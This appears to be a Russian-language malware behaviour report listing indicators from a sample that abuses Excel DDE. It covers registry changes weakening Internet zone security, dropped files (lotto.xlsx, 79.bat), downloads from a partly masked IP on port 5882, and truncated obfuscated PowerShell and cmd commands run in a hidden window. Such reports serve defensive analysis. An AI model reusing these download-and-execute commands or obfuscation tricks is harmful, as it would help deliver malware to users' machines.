Техническая информация
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1400' = '00000003'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4] '1C00' = '00000000'
- %APPDATA%\lotto.xlsx
- %APPDATA%\~$lotto.xlsx
- %APPDATA%\79.bat
- '19#.#8.251.10':5882
- http://19#.##.251.10:5882/LOTTO.xlsx via 19#.#8.251.10
- http://19#.##.251.10:5882/79.bat via 19#.#8.251.10
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy UnRestricted function CglyjqeJ($cZjZFwD, $jvakjH){[IO.File]::WriteAllBytes($cZjZFwD, $jvakjH)};function tBwYycs($cZjZFwD){if($cZjZFwD.EndsWith((aQfSktKPDHETRjXVGg @(55456,55510...' (со скрытым окном)
- '%ProgramFiles%\microsoft office\office14\excel.exe' /dde
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\79.bat" "
- '%WINDIR%\syswow64\cmd.exe' /K "%APPDATA%\79.bat"
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" echo $host.UI.RawUI.WindowTitle='%APPDATA%\79.bat';$exRf='RVRKdeaVRKddLiVRKdnVRKdesVRKd'.Replace('VRKd', ''),'TrahxQFnshxQFfohxQFrmFhxQFihxQFnahxQFlBhxQFlohxQFckhxQF'.Replace('hxQF', ...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe'